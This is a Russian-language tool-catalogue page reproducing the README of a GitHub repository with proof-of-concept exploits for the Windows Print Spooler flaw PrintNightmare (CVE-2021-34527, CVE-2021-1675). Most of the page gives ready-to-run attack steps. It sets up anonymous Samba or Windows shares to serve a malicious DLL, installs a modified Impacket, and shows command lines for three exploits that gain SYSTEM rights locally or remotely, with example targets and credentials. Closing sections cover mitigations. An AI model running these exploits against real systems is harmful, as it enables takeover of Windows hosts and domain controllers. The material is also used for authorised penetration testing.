Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
PrintNightmare-CVE-2021-34527 — PrintNightmare - уязвимость Windows Print Spooler, позволяющая удаленное выполнение кода/повышение привилегий (CVE-2021-34527, CVE-2021-1675) - эксплойты с доказательством концепции. | Kitploit
Инструменты/GitHubGitHub/nemo-wq/printnightmare-cve-2021-34527
Повышение привилегийАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеRed TeamingИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHubnemo-wq/printnightmare-cve-2021-34527

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

PrintNightmare-CVE-2021-34527

PrintNightmare - уязвимость Windows Print Spooler, позволяющая удаленное выполнение кода/повышение привилегий (CVE-2021-34527, CVE-2021-1675) - эксплойты с доказательством концепции.

Репозиторий
175414 лет назадПроверено Kitploit

PrintNightmare - Уязвимость удаленного выполнения кода/повышения привилегий в Windows Print Spooler (CVE-2021-34527, CVE-2021-1675)

Краткое описание

Это уязвимость удаленного выполнения кода, которая может быть использована для получения привилегий уровня SYSTEM аутентифицированным удаленным пользователем на компьютерах Windows, работающих под управлением службы диспетчера печати. Злоумышленник может затем использовать этот доступ для создания новых учетных записей, попыток установки программ; просмотра, изменения или удаления данных; или создания новых учетных записей с полными правами пользователя.

Эта уязвимость существует из-за ошибки обхода авторизации в службе диспетчера печати spoolsv.exe в системах Windows, что позволяет аутентифицированным удаленным пользователям устанавливать драйверы печати с помощью вызова RPC RpcAddPrinterDriver и указывать файл драйвера, расположенный на удаленном ресурсе. Злоумышленник, использующий эту уязвимость, может получить привилегии уровня SYSTEM в системе Windows, запустившей эту службу, внедряя вредоносные DLL в процессе установки драйвера печати.

Хотя Microsoft выпустила обновление для CVE-2021-1675, это обновление не защищает контроллеры домена Active Directory или системы Windows, в которых настроена опция "Point and Print" с параметром NoWarningNoElevationOnInstall.

В этом репозитории представлены три реализации PoC эксплойта:

  • Python-скрипт CVE-2021-34527 от cube0x0
  • SharpPrintNightmare от cube0x0
  • Эксплойт от afwu (Printnightmare)

Технические детали

Затронутые системы

  • Все версии Windows содержат уязвимый код и являются уязвимыми по состоянию на 4 июля 2021 года. Эксплойты протестированы на Windows Server 2019 и Windows 10 Pro.

PoC-эксплойты

Поскольку служба RPC позволяет клиентской машине указать расположение драйверов печати для загрузки удаленным сервером, следующие примеры опций можно использовать для размещения полезной нагрузки и указания пути при запуске эксплойта:

Настройка общей папки Samba

  • Unix/Linux:

    Для настройки гостевого доступа в Samba необходимо указать пользователя, под которым будет выполняться вход. Убедитесь, что в системе существует пользователь smbuser, иначе создайте его с паролем password

    root@kitploit:~
    id -u smbuser &>/dev/null || useradd -p $(openssl passwd -1 password) smbuser
    

    Отредактируйте файл /etc/samba/smb.conf и включите анонимный доступ

    root@kitploit:~
    [global]
        map to guest = Bad User
        server role = standalone server
        usershare allow guests = yes
        idmap config * : backend = tdb
        smb ports = 445
    
    [smb]
        comment = Samba
        path = /tmp/
        guest ok = yes
        read only = no
        browsable = yes
        force user = smbuser
    
  • Windows:

    root@kitploit:~
    mkdir C:\share
    icacls C:\share\ /T /grant Anonymous` logon:r
    icacls C:\share\ /T /grant Everyone:r
    New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
    REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
    REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
    REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
    REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
    # Reboot
    

Ниже приведены немного обновленные инструкции по сравнению с предоставленными cube0x0:

Python-скрипт CVE-2021-34527

Это реализация эксплойта Printnightmare с использованием Impacket от cube0x0. Перед запуском эксплойта необходимо установить модифицированную версию Impacket:

root@kitploit:~
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install

Использование эксплойта:

Код эксплойта для этой уязвимости необходимо запускать с помощью Python 3

root@kitploit:~
usage: CVE-2021-34527.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share

CVE-2021-1675/34527 implementation.

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>
  share                 Path to DLL. Example '\\10.10.10.10\share\evil.dll'

optional arguments:
  -h, --help            show this help message and exit

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH

connection:
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name
                        and you cannot resolve it
  -port [destination port]
                        Destination port to connect to SMB Server

Example;
./CVE-2021-34527.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-34527.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'

SharpPrintNightmare

Каталог SharpPrintNightmare/ содержит реализацию эксплойта Printnightmare на C# как для локального повышения привилегий (LPE) (CVE-2021-1675), так и для удаленного выполнения кода (RCE). Функциональность RCE требует выполнения с правами локального администратора на машине, с которой запускается эксплойт.

Использование эксплойта:

root@kitploit:~
#LPE
C:\SharpPrintNightmare.exe C:\addCube.dll

#RCE using existing context
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'

#RCE using runas /netonly
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' domain.local domain_username password

Инструкции по использованию EXP/ от afwu

Использование эксплойта:

root@kitploit:~
.\PrintNightmare.exe dc_ip path_to_exp user_name password

Example:
.\PrintNightmare.exe 192.168.5.129 \\192.168.5.197\test\MyExploit.dll user2 test123##

Смягчение/Обходные пути

Определение, запущена ли служба диспетчера печати

Выполните следующую команду:

root@kitploit:~
Get-Service -Name Spooler

Если диспетчер печати запущен или служба не отключена, выберите один из следующих вариантов: отключить службу диспетчера печати или заблокировать входящую удаленную печать через групповую политику.

Вариант 1 - Отключение службы диспетчера печати

Если отключение службы диспетчера печати подходит для вашего предприятия, используйте следующие команды PowerShell (рекомендация от Microsoft):

root@kitploit:~
Stop-Service -Name Spooler -Force

Set-Service -Name Spooler -StartupType Disabled

или отключите службу Spooler через реестр

root@kitploit:~
Stop-Service Spooler
REG ADD  "HKLM\SYSTEM\CurrentControlSet\Services\Spooler"  /v "Start" /t REG_DWORD /d "4" /f

или удалите службы печати

root@kitploit:~
Uninstall-WindowsFeature Print-Services

Это отключит возможность печати как локально, так и удаленно.

Вариант 2 - Блокировка входящей удаленной печати через групповую политику

Вы также можете настроить параметры через групповую политику следующим образом:

root@kitploit:~
Computer Configuration / Administrative Templates / Printers

Отключите политику “Allow Print Spooler to accept client connections:”, чтобы заблокировать удаленные атаки.

Эта политика заблокирует вектор удаленной атаки, предотвратив входящие операции удаленной печати. Система больше не будет функционировать как сервер печати, но локальная печать на непосредственно подключенное устройство останется возможной.

Для получения дополнительной информации см.: Использование параметров групповой политики для управления принтерами.

Благодарности

  • Согласно бюллетеню безопасности MSRC, эту уязвимость сообщили Zhipeng Huo, Piotr Madej и Zhang Yunhai.
  • cube0x0
  • afwu
Скачать инструмент